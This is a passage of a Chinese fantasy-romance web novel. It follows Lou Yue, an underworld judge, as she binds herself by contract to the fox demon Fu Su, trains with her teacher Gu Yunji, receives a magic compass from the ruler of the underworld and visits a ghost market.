再后面,就是扶苏浑身的衣服被撕裂,咒印一点点好像钉子一样扎进他的身体里。
那咒印不知有什么力量,后来扶苏便经常精神失常,甚至于被人被鬼利用。
所以,扶苏的心结在于……
但是楼月实在是不知道,这其中有什么隐情。她觉得按照之前看到的一些回忆片段,扶苏并不是会干出这种事情的人。
她垂眸看向被控制住的扶苏,显然幻域的力量在逐渐减弱。
她只有一次机会。
在解除幻域的瞬间,苍凉诡异的法力宛如潮水一般要将她淹没,她艰难出声:
“扶苏。”
瞬间,黑气凝滞了一瞬。
她能感觉到扶苏瞬间的破绽,千钧一发之际,她操控着小月带她迅速拉开距离。
“你要被诅咒操控到什么时候!!!”
她喊道。
瞬间,黑雾沉静了。
黑暗里,一股白色妖气四溢出来。
楼月面上一喜,这是她的话有效了吗!扶苏现在的妖气正在试图躲过身体的控制权?
谁知,下一秒,一根巨大的尖刺自他身体里冒出来,直接贯穿了楼月的身体。
血呕出来,天地变暗。
鬼,会死吗。
她的眼皮瞬间变得好重,重到好像灌了铅,再也抬不起来。
然而,远处的一团黑气却是逐渐消散。
体内的血液一点点流尽,那金气也随之而消散……
眼前是一片纯白。
一只狐妖,通体雪白,白发白眸,清逸绝尘,抱着她。
他白色琉璃眼中是悲悯与哀伤,纤长的睫毛微微颤动:
“判官大人,您要灰飞烟灭了。”
是吗?楼月恍惚靠在他的怀中,现在她没有任何感觉以及情绪,只能感受到几乎是无边无际的平静。
“灰飞烟灭?”她有些难以理解地重复了一遍。
扶苏清浅的眼眸中,流露出愧疚:
“和我契约吧,这样您可以活下来。”
楼月微微皱起眉头,努力回忆起自己为什么会在这里,以及再之前的事情。
可是记忆却如流沙般,一点点失去。
可莫名,一股不甘涌上了心头。
为什么不甘,因为什么?
她努力去想,终于想到了一点记忆,那是她站在商场门口的台上,义愤填膺为着社会事件发声的时候。
是啊,她不是一个法学生吗,她才大三啊。
可是她却是鬼?是判官?
忽然,一股恨意自心底蔓延出来,她原本有些涣散的眼瞳中瞬间灌注了光彩,以至于整个人都借着扶苏的肩膀直起身子来。
对,她不能瞑目!
还有许多事情等着她去做,她坚决不可以放弃。若是灰飞烟灭了,那就什么都没了!
她的理想、她的抱负、她的一身所学,怎么可以浪费在这里!!!
楼月坚定:“我要活下去。”
扶苏:“好。”
他精致苍白的面颊逐渐放大,唇瓣落在了楼月的额头上。
12. 鬼界风流榜单第一人
瞬间,楼月感受到一阵奇异的力量,异于法力、异于任何力量,只是单纯的一种轻盈的灵气,自他的唇瓣灌注到自己身体里去。
更为奇妙的是,那股灵气竟然和自己体内那股金色力量并不冲突,甚至是并行。
巨大的温暖充沛了楼月的整个身躯,这股温暖让她几乎想起了自己还活着的时候,也是有着体温,有着心跳。
此刻的身躯,虽然远远称不上是有体温,但是较之先前的冰冷,也好了许多。
舒适与安心笼罩了她身体的每一寸。
她忍不住身体舒展,面颊却一不小心碰到了他的唇瓣。
意识和感官尽数恢复,她忽然意识到,自己好像躺在一只白狐狸的怀里。
??!
她跳下来,却看见扶苏微微蹙眉:“你刚恢复,不宜走动,否则会很伤身子。”
楼月面色通红,推了一把扶苏,却无意间发觉自己竟然摸到了他的胸膛,紧实饱满。
“那也不能一直在你怀里吧?”她继续推搡。
然而,扶苏却是有些困惑的样子:“这很过分吗?”
最为致命的是,面前这只白狐竟然无比自来熟地执起她的手腕,随后落到他的唇边,轻轻摩挲,像极了一只小动物。
他雪色眼眸清亮,然而楼月却是更加无措。
楼月斟酌着开口:“扶苏,你……和之前,是怎么回事?”
扶苏却是沉默了。
“我之前,一直被诅咒缠绕……”
“我的意识一直混混沌沌,但是却是被你一句话唤醒了一些意识,诅咒感到害怕和威胁,于是想要除掉你——”
“奇怪的是,尖刺刺到你身体的时候,鲜血顺着刺留下,那些血,却好像有着一种极为光明的力量,几乎瞬间压制住我体内的诅咒。”
楼月皱眉:“也就是说,诅咒并没有去除?”
扶苏点头:“现在我能够压制,但是不确定之后能不能控制住……所以,我们以后还是分道扬镳吧。”
楼月:“可是你不是和我签订了契约吗?”
扶苏沉默。
楼月:“这个契约,有什么用吗?会怎么样?”
扶苏:“你灰飞烟灭,我就会死。”
楼月:……
她沉默了一会儿道:“可我不能保证我能好好活着,你知道的,我是罚恶司判官,朝不保夕啊。”
扶苏瞥了她一眼:“那你为什么不能圆滑点?”
她一噎:“就是不想啊。”
听到这句话,扶苏却是眸色一闪,几分怅然。
“扶苏,和我回去,我在鬼界力量会比在这里强。”
扶苏扶额:“可是,你刚才打不过我。”
楼月一噎,扯了扯嘴角:“你别管,实在不行你再捅我一下,不是说有我的血就能压制吗?”
扶苏却是叹了一口气,侧过头去:“你又何必?我死了便是死了,不妨事。”
然而,楼月却是掰过他的面颊,他的浅色琉璃双眼微微睁大,白发如雪,轻轻拂过她的掌心,宛若上好的丝绸一般。
楼月认真道:“你修炼并不容易,不要说这种话。什么时候,活着都是最重要的。”
扶苏眼睫微微垂下:“好。”
片刻后,扶苏抱着楼月显现在人间。
一到人间,她就觉得自己的腹部有些痛,显然,刚才与扶苏签订契约虽然能让她不至于灰飞烟灭,受的伤也恢复了九成,但剩下的那一成也让她有些痛地难以忍受。
然而,更为诡异的是,楼月发觉地面似乎……
燃烧着熊熊的蓝火!
楼月惊呼,紧抓扶苏的胳膊。扶苏却是早已在瞬间便脚尖点地飞起,带她飞去。
夜空中,她的发丝被风吹乱,几根发丝拂过面颊,和扶苏的白发交缠在一起。
月光下,他毛茸茸的狐狸耳朵好像被镀了一层银边。
她的注意力瞬间被吸引,忍不住想要伸出手去揉一揉,然而,却听到不远处下方咬牙切齿的声音。
“月相之一,初弦。”
楼月瞳孔微缩,看向声音方向。
只见晏不染眉心乍现一弯弧度,亮如明月,幽蓝色的眸中瞬间愈发锐利。
他乘风而上,抽出一条鞭子,鞭子在空中瞬间如同蛇一般向扶苏缠绕而去——
扶苏却是嗤笑一声,手一挥,纯白妖气自手中倾泻而出,打在鞭上,鞭子瞬间失去了法力。
晏不染蹙眉,飞到扶苏身边,却看到楼月眨巴眨巴眼睛,和他四目相对。
顿时,晏不染的脸色极为难看。
然而,他的目光下移,看到楼月的腹部衣袍已然被血尽数染红,却是瞬间又死死盯住了扶苏。
“你对她做了什么!”
楼月被这一莫名其妙的照面弄得情绪翻涌,一时间竟然有些气血上涌,她咳嗽了两下。
扶苏显然也是注意到了她的不适,抱着她落于地面,然而姿态却愈发亲昵,几乎要将楼月整个人护住。
“晏不染,住手。”
晏不染的鞭子正要抽过来,带来肉眼可见的凌厉法力,毫无疑问这一鞭子能轻松将墙劈裂,可却生生被晏不染收住。
他落于地面,微微眯起双眸,眼尾微微上扬,唇角扯出一个近乎是嘲讽的笑容:
“楼月,你没事吧?被他打成这样,现在还投怀送抱?!”
楼月顿时觉得好像又有点想吐血了。
几个深呼吸后,她借着扶苏的臂膀才慢慢道:“我和他结了契约。”
晏不染瞳孔骤缩:“你说什……”
楼月:“以后他就是我的契灵了,你别伤他。”
晏不染怒极反笑:“你是说,你一个判官,和一只狐狸结了契约?是你疯了还是我疯了?”
楼月沉默了,对上了晏不染八分恼怒、一分复杂、一分失落的表情。
为什么呢,晏不染,你要露出这种神色。
他这样的纨绔,对她又怎么可能是真心的啊,又何必如此。
但是这几次晏不染带她去看幽莲、带她来人间查赌命,也确确实实是帮了她。
她叹了一口气:“抱歉……晏不染,但是我是有苦衷的。”
扶苏身上的诅咒如果不受控,可能会带来更大的麻烦,届时祸害众多。既然如此,还不如放在她身边更为安全。
但是这她不能告诉晏不染,因为他乃是夜游神,若是知道她身为一殿判官,竟然和这么一个极不稳定的妖签订了契约,甚至还打算不惜以身为饲,去控制扶苏的理智,或许会上报酆都大帝。
况且……扶苏的力量简直可以称得上是恐怖如斯,如果她可以加以利用,这又何尝不是一把快刀?
不过,楼月的目光再度落在扶苏
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的脸上。
为什么扶苏要和她签订契约来救她?
按照他所说的,契主死亡他也会死亡,那么他不该如此不谨慎才对。
但是当时情急之下,面对的可是灰飞烟灭,她无暇多思。
楼月唇角微微扬起。
很好,越来越有意思了。
她迟早要弄清楚,扶苏身上的所有秘密。
*
鬼界。
晏不染刚刚在人间撕裂了空间,直接走近了裂缝。
扶苏神色淡淡,抱着她也走进了裂缝。
出来的时候,楼月已然在了她的府邸之前。
她微微怔神,原来去人间可以直接撕裂空间吗?不需要……
这已经是在鬼界了,她即便身体再疼痛不适,也不能如此示人。
她站稳,随后看了扶苏一眼,和他对视。
楼月面颊却是微微有些发热,侧过脸去:“呃,这个就是我的府邸了,你是和我一起住还是……?”
扶苏却是轻笑一声:“和你一起,你介意吗?”
楼月:“自然是不介意,只是我平日里很多时候都在审案,可能都不在府里。”
扶苏:“审案吗?我可以去吗?”
楼月一怔,随后摇头:“不合适。”
扶苏却是微微一怔,浅色琉璃眸中带了一些怅然;“好。”
楼月心头莫名其妙,搞不懂这狐妖哪里来的情绪,于是推开了门——
然而,此时几个小鬼路过,看到楼月和扶苏前后脚踏入府邸,而扶苏更是转过身来关上大门。
众小鬼原本还十分八卦的模样,然而一看到扶苏的面孔时,瞬间呆住。
天老爷,这世上竟有这般云淡风轻、如霜似雪的人物。
白发白眸,肌肤欺霜赛雪,偏偏举手投足尽是不凡贵气,竟好似仙人一般。
众小鬼呆了好久,直到孟婆裴昭路过,笑问:“欸?你们在看什么,眼睛都看呆了?”
此时楼月府邸大门已然关上,众小鬼俱是七嘴八舌,一个个上前扯过裴昭的裤腿。
“啊啊啊啊孟婆大人,你弯下腰来,有绝世大八卦!!”
裴昭听闻,噙着笑蹲下。
众小鬼叽叽喳喳,在他耳边说着什么。
鬼界多了一条流言。
【罚恶司夜叉楼月,带了一只美貌到三界难寻的狐妖回了府邸,一时间被评为鬼界风流榜单第一人。】
楼月坐在判官殿,听着身边一个热络好心肠的小鬼告诉自己这个消息的时候,扶额。
她真的是……
嗯,不过不得不说,扶苏来了后,她的生活质量简直就是质的飞跃。
且不说花木鱼鸟一应俱全,甚至扶苏还动了土方,将原本一马平川的府邸,有的地方抬高有的地方挖空,一时间,她的府邸简直成了微缩的山河湖海。
扶苏还嫌弃晏不染之前给她放的夜明珠俗气,尽数投入池塘之中,不得不说,以夜明珠做池底,当真是极为绚烂。
作为替代,扶苏用妖力幻化了百只灵蝶,飞扬之间蝶翅飞舞,竟然会煽动出点点夜光,当真是雅极。
更枉论,扶苏还会悉心至极的为她准备好一日三餐。
一清早,扶苏便会挎着个竹篮,宛若林中隐士般,从楼月府邸里走出来。
随后,他来到鬼市,讨价还价买菜。
13. 兴奋
扶苏简直火眼金睛,要求主动上手挑菜,他曾买了一束茼蒿,每一株都是他挑选的。
其发色其眸色,以及那周身的气度,简直与整个鬼界格格不入,如果不是那对蓬松柔软的狐狸耳朵,当真是要让人觉得真乃是神仙了。
他挎着菜篮子回去,悉心至极地每一顿为楼月做上三菜一汤,菜式并不十分复杂,可是十分可口。
中午,一般楼月是不回府的,实在累趴着休息一会儿得了,可是耐不住小鬼可怜兮兮探头探脑走进来。
“楼月大人……您府里那位,让小人来叫您回去吃饭。”
楼月一愣。
啊?她是结了契约不错,可是扶苏也不至于这样殷勤吧?
她心头犹疑不觉,回到府邸。
大红朱门推开的瞬间,一阵梅香拂面。
她微微睁大了眼睛,扶苏身着一身月白礼服,佩玉叮当,噙着笑朝她看过来。
“大人,您回来了。”
楼月莫名觉得面上烧得慌:“你……怎么在门口啊。”
“迎接您啊。”他眨巴眨巴眼睛,蓬松雪白的大狐狸耳朵微微颤动,上面柔软的毛发也跟着拂动。
她发誓,她没有刻意去看扶苏的耳朵,只是它实在是太扎眼了。
不过……
楼月的视线下移,犹疑在他的裙摆之上。
狐妖,会不会有尾巴?
想到这儿,她顿觉自己想得实在是太多了,于是咳嗽一声,和他进了内院。
楼月看着精美的菜肴,尝了一口,果然美味:
“扶苏,你的手艺真不错,你不是狐妖吗?怎么这么会做人间的菜?”
扶苏看着米饭,温柔道:“这都是之前师父教我的。”
师父,无疑是扶苏身上一个非常大的谜团。
当时扶苏为什么要灭师?
但是她现在和扶苏还不熟,不宜交浅言深,她决定问点其他的。
“对了,你知道赌命吗?”
扶苏一愣,眼睫垂下:“知道。”
楼月看出了他有些愧疚自责的模样,但是也不好说些什么轻飘飘的话来安慰他,毕竟他之前被诅咒的时候,插手这种事情,实在是有些穷凶极恶。
她斟酌着开口:“那……你还记得之前是什么人给你任务吗?”
去找大司命,和生死簿不一样,一般来说是福报问题。
扶苏皱眉摇头:“那些人面上总是有着一团黑气,难以辨认。”
话聊到这里,气氛有些沉闷。
楼月决心说点什么,活跃活跃气氛,她偏头一笑:“你修为那么高,都看不破啊?”
扶苏一怔:“高吗?”
楼月:“……不高吗?你把我压着打啊。”
扶苏瞥了她一眼,不说话了。
楼月顿时不满了:“你什么意思?”
扶苏绞尽脑汁,才斟酌着说出一句:“您……初神五重,这连我们钦魂殿的门都踏不进去。”
钦魂殿?这莫非是扶苏所在的,专负责于赌命的组织?
扶苏补充道:“不止赌命,这里还有很多很多业务。”
楼月深红眼眸微微垂下,勾起唇角:“好,我知道了。”
有意思,太有意思了。
钦魂殿。
楼月沉吟:“那你能带我去吗?”
扶苏:“……等大人修炼上玄神再说吧。大人现在进去,简直羊入虎口。”
楼月:。
楼月扶额,看来她的路子还是太顺了,无痛直接做判官。
真是基础不牢,地动山摇啊。
*
下午楼月又审了几个案子后,就看到门口顾云霁在翻阅罚恶司的公示卷宗。
楼月伸了个懒腰,翘起唇走出去:“顾师父~好久不见啊。”
顾云霁白色长发高高束起,忍俊不禁:
“也没有很久吧?也就几日。”
楼月却是颇为夸张地捂嘴:“就是很久啊!徒儿一日不见师父,简直就是如隔三秋啊!”
顾云霁浅笑,那双琉璃色的双眼好似冰雪一般。
楼月忽然一愣,她突然发觉,面前的顾云霁,好像和谁很像。
她想着想着,突然看向顾云霁的头顶。
……
太冒犯了。
顾云霁:?
楼月咳嗽了两声,然后扯住顾云霁的衣袖:“哎呀~师父,什么时候教我点新招数,我想早点修炼上玄神啊。”
顾云霁:“初神到玄神的突破,法力倒不是最紧要的,其实关键突破在于法力运用熟练度上。”
“比如,你碰到一个擅长法术的对手,那么远程和他打可能不是对手,就需要近战。”
楼月若有所思:“那我适合什么?”
顾云霁想了一会儿,认真道:“我能感觉,你的精神力很强。”
楼月微微一怔:“精神力?”
她想起了自己的那个时间停滞的能力,莫非,这就是一种精神系的法术?
楼月微微蹙眉:“那师父,你知不知道一种法术,在……激怒对手后,便可以凝滞时间……”
她越说,越觉得离奇,看到面前顾云霁陷入沉思的表情,没好意思继续说下去。
顾云霁:“时间凝滞?当真是极为霸道的法术,这是你领悟的吗?”
楼月觉得没必要瞒着,点头:“是的,起初我是在审案的时候发现的。”
顾云霁:“时间凝滞之后呢?”
楼月深吸一口气:“读取片段回忆。”
顾云霁:?!
他一怔。
“楼月,暂时不要暴露你有这个法术。”
他好看的眉微微蹙起,神色带了几分思量,沉默了几秒。
他看向楼月的双眼,直截了当道:“你今天案子审完没。”
楼月点头。
顾云霁带着她,御风半个时辰后来到了一座山崖。
他站在一旁,看着盘腿坐下的楼月。
“凝视月亮,去感受其中的能量。”
楼月有些困惑看着远方那轮异于人间,颜色有些发红的月亮,努力看着。
然而,却没有任何感受。
她有些困惑地看向顾云霁。
顾云霁淡淡一笑:“看我干什么,我又不是月亮。”
楼月:“你比月亮还好看。”
月光下,她明艳的面孔俏皮一笑,勾起了唇角。乌黑的长发如同绸缎一般披在身后,披在她正红的判官礼服上。
莫名,顾云霁的心中产生了一股难以描述的感觉。
可他不是没有情感吗。他成为日游神的第一日,他就知道,自己是一个怪人,情感淡漠、六亲不认之人。
可偏偏这些年过去了,却在楼月这里有了一丝涟漪。
顾云霁:“还学不学了。”
楼月一下子老实,忙端正打坐,一眨不眨看向那轮血月。
这一次,她努力去找之前用幻域的
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时候,身体里的那种能量波动的感觉。
楼月努力调整自己的呼吸,直到感受到自己和周围的环境、风、以及天上的星、月,都有了一丝共鸣。
她甚至可以感受到,远处的一颗星星的情绪。
有的是快乐的、有的则是好奇的、还有超然的……
好奇妙的体验。
她努力将精神力全部放在血月上。
很快,她竟然能感觉到血月上,竟然有一层宛若薄纱般的灵气。
这股灵气,好似扶苏身上的力量。
楼月凝神,试图去吸收那股灵气。
然而,血月却太远了,她能感受到自己的精神力如果凝聚起来,只能做到伸展自己方圆十几米的区域。
“用法力试试。”顾云霁提醒。
奇怪,顾云霁应该是从凡人修炼法力飞升为日游神的才对,怎么会懂如何修炼精神力和吸收灵力?
楼月来不及沉思,便调动身体里的法力裹挟着自己的精神力去探向血月,范围大到了几十米,但还是远远不够。
直到十分钟后,她的法力和精神力一度枯竭,她才软倒身子认输:“师父,我够不到。”
顾云霁上前扶起,他身上好闻的青竹气息萦绕在面前。
楼月唇角微微一勾,随后故作虚弱继续一软,干脆直接倒在了他的怀里。
楼月:QAQ师父,我摔倒了。
顾云霁蹙眉,想要伸手去探她的经络,却被她扭身子扭了过去。
“呜呜,头疼。”楼月撒娇道。
顾云霁一怔,心中那股奇异的感受又浮现了。
但是这并不是什么过分的要求,楼月头疼也只是因为刚才试图去修炼精神力才导致的,非要轮还应该怪他,不考虑修炼难度就让她去练。
顾云霁叹了一口气,随后取下了楼月头上的判官冠,颇为珍惜的样子,先变了一块云锦铺在地面之上,才将冠置于其上。
他坐下,让楼月可以枕在他的膝盖上。
他修长如玉的手指轻轻穿过她的发丝,一下一下抚摸着楼月的发顶。
“这样……会舒服一点吗?”
如果不是楼月的脸,因为过红而埋进了他的衣袍之中,她此刻的异样一定会被顾云霁发现。
“嗯……”
顾云霁一边按,一边又说着什么修炼的注意要领,她一边听着,一边近乎贪婪地闻着顾云霁身上的香气。
莫名,他身上的气息好像可以让她觉得很安心。
过了一会儿,她觉得已经很久了,再让顾云霁照顾自己就有点不好意思了,抬起头来。
谁知,这一抬头直接和顾云霁四目相对,甚至于距离极近。
楼月微微一怔,如此近距离地看这光风霁月的日游神,竟然和远处看有着完全不同的感受。
她现在可以清晰看到,顾云霁如玉面颊上的清润光泽,甚至于她都可以想象出那会是怎么一种手感——
但是楼月可不敢摸。
莫名其妙摸自己口口声声称呼师父的人,又算什么!
而且硬要论的话,顾云霁好像可以算得上是自己的上司?
……
顿时,一股负罪感升腾起来,但与之俱来的是一种莫名的、陌生的、让她感到有些害怕的兴奋感。
不行!不行!如此机会实在是难得!她一定要把握住,否则今晚睡觉都会睡不着的!
楼月突然身子一软,惊呼一声,直直朝着他的肩膀跌落下去——
14. 狎昵
如意料之中,顾云霁立刻伸手抱住了她。
只是,这一抱,她们的动作就十分之暧昧了……
她的面颊此刻就贴在顾云霁的脖颈上,她甚至能感受到他脖子上的皮肤就好像最最上好的羊脂玉一般。
顿时,一股狎昵的念头升上来,她朝顾云霁的脖颈轻轻呵了一口气。
显然,顾云霁瞬间僵硬了,连带着他抱着自己的手臂都有些颤抖。
楼月扬起嘴角,随后故作低沉道:“师父……我好像身体没有什么力气了,你能不能送我回府啊。”
“好。”
楼月听闻后,笑眯了眼睛,双手都环住了顾云霁的脖颈。
他雪白的长发偶尔会飘在她的面颊之上,她红着脸去蹭了蹭。
楼月虽然刚才是故意戏弄,但这么一来,还真的有些困了,竟然真的沉沉睡去。
这一次,因为是抱着楼月回去,所以顾云霁担心会招致闲言碎语,所以特意从判官府的后门进去。
然而,一开门,便注意到竟然府邸里已然有人了。
顾云霁微微蹙眉,看向月华普照的院里,片片飘落的晚樱花瓣落了满地,而花瓣中,一人站于其中。
那人眉眼清雅绝伦,端得是绝色,周身的气度竟然与鬼界格格不入。
而他偏偏就在这里,穿着一身月白长袍,用一根桃花簪将一半头发簪起,剩下一半披着。
他轻笑:“日游神,好久不见了。”
顾云霁瞳孔骤缩,顿时皱起了眉。
顾云霁微扯嘴角,随后抱着楼月,直奔内院卧房而去。
扶苏的神色也冷下来,看着顾云霁如此熟稔地找到楼月的卧房,眼中带了些深思。
顾云霁将楼月放在床榻上,看了看她的判官服。
判官服毕竟是礼服,颇为繁重,其实还是脱了为好。
顾云霁小心关门出去,找到一只小鬼:“你们平常是谁给楼大人更衣?”
小鬼看到顾云霁,原本就浑圆颇大的眼球几乎要瞪出来:“日游神大人……平日里楼大人不让我们近身……”
顾云霁微微蹙眉,想了一圈,又想起了刚才后院那个扶苏,心头略过一阵烦闷。
他双手翻飞结印,琉璃色眼眸微亮,瞬间便幻化出了一个侍女。
“去给楼大人换下判官服,动作要轻。”他嘱咐。
侍女喏了一声,便走向了卧房。
顾云霁想了想,又来到后院。
显然扶苏是在等他。
顾云霁:“为什么要接近她?”
扶苏:“她是我的契主,我接近她天经地义吧?”
听闻此,顾云霁瞳孔骤缩:“你说什么……”
凌厉的风带着妖气瞬间吹起顾云霁的发丝,他向后闪避,顺势用法力幻化出一头异兽。
异兽狮身龙首,通体雪白宛若月光,额生独角,脚踩百花。
顾云霁悠然立于异兽身旁,神色淡然:“扶苏,你确定要和我打吗。百年前你未曾胜过我,如今也不会有任何胜算。”
扶苏一笑:“你还真是一如既往地厚颜无耻,妄想以为这样就可以高枕无忧做你的神官了吗!”
顾云霁漠然,抚摸了异兽的角,那异兽踏空飞起,径直向扶苏冲来。
扶苏张扬一笑,浑身邪气四溢,巨大的妖气猛得爆发出来,以至于吹起他月白长袍,露出七条狐尾。
异兽上前冲撞而来,锋利的角划过来,扶苏轻轻一跃便躲过了。
然而,此刻顾云霁却是翻手结印,打出一个呈现着淡淡微光的印记。
扶苏注意力在面前的异兽之上,一时间额头被打上了印记。
扶苏瞳孔骤缩。
面前的异兽很快调转了方向,但是却无意中碰到了府邸中的晚樱,即使只有几个枝条,但顾云霁还是微微蹙眉,轻呵:“白泽,回来。”
这异兽,正是山海经里著名的白泽。
白泽跳起,步步生花,环绕至顾云霁身边。
顾云霁的能力,是召唤。
他眼眸清淡,看向扶苏:“我想这里似乎并不适合我们叙旧。”
未等扶苏回答,顾云霁便乘上白泽,冷冷瞥他一样。
“扶苏,你既然在楼月身边,那就做好契灵该做的,保护好她。
那枚印记,你无论做什么,我都能知道得一清二楚。”
白泽咬牙:“顾云霁,你不觉得你自己虚伪至极吗?!
这天下唯你一人是圣人,一尘不染,连几朵花都不忍心杀死?!
你别忘了你干下的那些肮脏至极的事情!”
月夜里,顾云霁的神色难辨,仍是侧着身,纯白宛若绸缎的发丝随风而动,翩然若仙。
“扶苏,我的确欠你,但不该以这种方式来还。”
扶苏妖气紊乱,眼中猩红,看向他的身影淡去。
扶苏深吸一口气,闭上双眼,原本如玉的双手爆出清晰可见的脉络。
他握拳,松开,再握拳,再松开。
几息之后,他垂眸,看向院内那株刚才被波及的晚樱。
枝条受到了冲击力,但是由于白泽瑞兽天生对于植物的增益作用,破裂处生长出了一些纤维,但也仅仅保证它们不断裂。
扶苏呆了一会儿,随后消失了片刻,随后取来了一卷绷带。
他看着纷繁重叠的花瓣,突然想起了今天楼月今天中午,和他一共用饭时的场景。
这位判官大人,简直称得上是毫无防备。
明明只是结了个契约,她竟然真的以为自己不该害她。
她面上的笑容过于天真而不加任何乔饰。
扶苏给晚樱包扎完后,看向天上月。
也是那么的纯粹,那么皎洁,难道这世上,只唯他一人肮脏,下贱,上不得台面?
*
“楼月,来一趟幽冥殿。”酆都大帝简明扼要传音道。
楼月顿时浑身一凛,今日原本是休沐,她甚至还穿了私服,正打算看点陈年
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卷宗增加知识储备,就听到了这句话。
她悻悻换上判官礼服,揣着手出了门。
今日扶苏起的也很早,在鬼界略显昏暗的白日光线下,他正在洒扫,穿着一身方便行动的衣袍,角落几个小鬼哆哆嗦嗦。
“扶苏大人……扫洒的活儿怎么能交给您呢,让小人们干吧……”小鬼中眼睛最大的那个,名叫无厄的,眼含泪花道。
楼月走上前去:“扶苏?这多不好意思啊,你又给我布置府里,又给我做饭。”
扶苏却是回头一笑,白发原本就被松松垮垮一扎,这么一回头更是落了几缕发丝下来,如冰似雪,衬得他愈发面白如玉。
“没事的,我本来就是您的契灵。”
扶苏温温笑起来,宛若晴光映雪,顿时楼月好像感受到了人间的太阳。
她莫名有些紧张,于是匆忙点了点头:“我有点事,出门一趟。”
扶苏笑:“好,早点回来,今天我做丸子汤。”
更加奇怪了吧。
好像相处了很久的家人一样,这么催她回去吃饭。
惆怅与难过生出来,她行走间,判官礼服配环佩叮当。
其实,脱了这身判官衣服,她才21岁吧。
只是她死的太早,太窝囊。
那些乱七八糟的念头被尽数抛弃脑后,她抬眼看了一下鬼界昏暗的天空。
人间,只有在阴云密布的时候,会这么暗。
来鬼界几个月了,这里的一切都在提醒着她,赶紧修炼,赶紧变强,这样才有可能报仇雪恨。
幽冥殿。
楼月正想跪下行礼,却听:“不必。”
酆都大帝坐于远处,神色看不明朗。
“你应该知道孤为什么要找你来,楼月。”
“鬼界到处是你领了一只狐妖回府的流言,此事可当真?”
楼月背后一凉:“大帝,事情是这样的……”
楼月将发现赌命,顺着去查一事说了出来,最后才提了一下自己重伤濒死,不得不结契之事。
酆都大帝若有所思:“钦魂殿?”
楼月恭敬:“不错,赌命涉及之广,下至寻常百姓,上至尚书甚至于更高地位之人。”
忽然,一个念头生出来,让她背后一阵发凉。
难道,酆都大帝那么神通广大的人,从未知道赌命?从未知晓钦魂殿?
但很快,那股酆都大帝身上的威压让她无暇去深入想下去。她猛地想起,酆都大帝似乎有读心的能力,顿时浑身冷汗,摒弃了杂念。
酆都大帝一笑:“楼月,这个方向挖得很不错,你要继续深挖下去。”
楼月点头:“好,但是大帝,我现在仅仅是初神三重,据说连钦魂殿的门都踏不进去。”
酆都大帝沉吟片刻,起了身,在身旁的博物架上找了片刻。
随后,楼月面前好像伸出来一只看不见的手,但是那股强大到恐怖如斯的法力却是让她下意识伸出手来,接住那物。
15. 趁机摸狐狐耳朵!
“这是阴阳罗盘。若为阳,这可观人心;若为阴,则可暂用他人法术。”
楼月听到前半句的时候情绪尚且淡淡,但是听到后半句的时候则是睁大了双眼!
也就是说,这个罗盘可以让她使用其他人的法术!
何等的逆天霸道!
“此物一日只可使用三次,另外,罗盘只能作用于精神力低于你的人,你可清楚了?”
楼月满心激动:“是!楼月定将继续努力,不负大帝所托。”
酆都大帝冠冕下的面容半明半暗,噙起笑容:“楼月,平日里有什么需要的都可以和我说。”
“好,感谢大帝关心。”
出了幽冥殿后,楼月捧着罗盘,还沉浸在激动的心情里。
然而,她走着走着,却忽然觉得有点不对。
刚才,是不是自己有什么念头?但是很奇怪,好像大帝说了几句话后,那个念头竟然想不出来了。
楼月如果不特意去回味这一丝怪异感,恐怕是再也想不起来了。
究竟是什么……?
如果是寻常之鬼,现在定然想不起来。
可楼月,最强大的就是精神力。
她确定自己已经远离了幽冥殿后,努力去找开幻域的那种感受,随后去回忆刚才——
对了!
她刚才在想着,难道酆都大帝不知道赌命?不知道钦魂殿?为何非要等她来发现?
顿时,一股诡异的恐怖感笼罩了她。
酆都大帝可以读心的情况下,整个鬼界有什么事情能瞒着他的?
而他既然可以读心,那么简单的驱除下属不应有的念头,也是轻而易举之事。
酆都大帝,究竟在想什么?
……
然而,这件事她没有人可以去诉说,只能自己消化,自己体会。
不过,这一趟倒是有些收获。
好歹获得了个罗盘,而且用途非常有意思。
楼月眼中神色流转,唇角勾起了一抹笑容。
很好,她要先试试这罗盘的用途。
酆都大帝说了,这罗盘需要精神力高于对方,才可以使用。
那么,上次她成功对扶苏开了幻域,是不是说明她的精神力高于扶苏?
楼月回府前,来到鬼市,入市前她打了个响指,身上的判官服便化为了一身常服。一身寻常的鸦青襦裙,外罩一件素白半臂,长发松松绾了个髻,斜插一支青玉簪子。
很好,如此素净,非常低调。
才踏入市口,喧闹声便扑面而来。
来了鬼界日久,楼月才觉得其实鬼界和人间区别也不算特别大。就比如,这里买到的东西,也是千奇百怪、五花八门,只是货币用功德罢了。
鬼界的商品有两种状态,一种是和人间一样的实物,另外一种则是纸糊的,但是若是沾了鬼气便能化为真实的东西,但是多少不及实物,所以价格也低廉许多。
很多刚刚化鬼、又没有人烧纸的可怜小鬼囊中羞涩,想买什么就会花几天的工钱买一些纸糊的,等过几天沾染上自己身上的鬼气,便会如获珍宝一般开心用上了。
一个小小鬼向楼月招手:“美女姐姐,想要看看衣服吗,是京城最新式样的,我娘刚烧下来的图样,我一点点画的呢~”
一旁的老鬼看了一眼楼月后,瞳孔骤缩,连忙捂住了那小小鬼的嘴巴:
“哎哟祖宗……那可是罚恶司的判官楼月大人,怎么称呼呢!”
霎时间,整条街巷的喧嚷都静了一瞬,无数道目光落在她身上。即便她刻意这般素净,那张脸仍旧是叫人完全无法忽视。
楼月肤白胜雪,眉如远山,眼若横波,眼尾微扬。眸中两点灼灼的赤红瞳仁,唇不点而朱。
而此刻,因着周遭的注视微微抿着,唇角却天生带一点似笑非笑的弧度。
然而,好像这一丝笑容完全没有让诸位鬼放松下来,反而他们一个个都像起了鸡皮疙瘩一般。
楼月:?
她到底在鬼界是个什么名声?
饶是楼月并不怯懦于社交,此刻都有些尴尬了:“我就随便逛逛,买点东西。”
那小小鬼挣脱了旁边老鬼,随后欢脱问道:
“楼大人楼大人,您府里真的有一只白狐吗~我还从未见过呢,大家都说他可美了!”
周边鬼俱是面色复杂,有些慌张地去打量楼月脸上的神色。
楼月却是噗嗤一笑,看向小小鬼:
“嗯,是的呀,他和我结了契约,所以现在在我家里帮我料理府里的事情呢,说不定你下次就可以看到他了?”
小小鬼跳起来:“好哎!楼大人,我叫小云,下次我可以去找您玩吗?”
楼月笑:“自然可以。”
众人终于舒了一口气,彼此交换了一下眼神。
欸?这位夜叉判官,似乎没那么难相处?
楼月扬眸一笑,随后继续向前走去。
逛着逛着,看到一个摊子上竟摆着十来盆水仙。
